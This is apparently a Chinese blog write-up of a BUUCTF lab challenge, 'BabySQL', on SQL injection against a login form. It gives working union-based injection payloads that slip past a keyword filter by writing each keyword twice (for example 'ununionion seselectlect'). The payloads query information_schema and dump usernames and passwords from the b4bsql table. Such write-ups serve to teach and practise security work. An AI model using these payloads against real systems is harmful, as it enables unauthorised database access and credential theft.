Buuctf-[极客大挑战 2019]BabySQL

文章描述了一次通过SQL注入进行安全测试的过程,作者首先通过判断闭合方式和尝试万能密码发现过滤机制,然后利用双写绕过技术规避过滤,成功执行联合查询。通过查询information_schema获取数据库表和列名,最终找到含有flag的b4bsql表中的数据。
摘要由CSDN通过智能技术生成

看题:

 

 

让我们在登录界面进行SQL注入,可以在用户名处注也可以在密码处注,我选择密码处,用户名那里填个admin先:

首先,判断这是什么闭合方式,这里试了1' ,是单引号闭合:

使用万能密码试一下:

 

明显不行, 它是有过滤的,也不知道过滤了啥,在猜测他的字段数的时候发现了过滤:

 

order 变成了der,or被吞了,双写绕过:

 

双写绕过登录成功了 ,接着进行联合查询:

1' union select 1,2,database()#

又报错 ,又是过滤,进行如下双写:

1' ununionion seselectlect 1,2,database()#

绕过成功,or,union,select这些都被过滤了,下面同样双写进行:

查询“geek”库下的表:

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

查到这两个表:'b4bsql,geekuser',题目名叫baby SQL,猜测要找到flag在“b4bsql”中,所以查询b4bsql:

1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

查询到如上这些列名,查询username,password中的内容:

1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#

如此便成功找到flag。

这题的难点在于不知道过滤内容有哪些,我是通过双写一个一个的试出来的:ununionion ,seselectlect,frfromom,infoorrmation,passwoorrd,whwhereere这些要双写。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值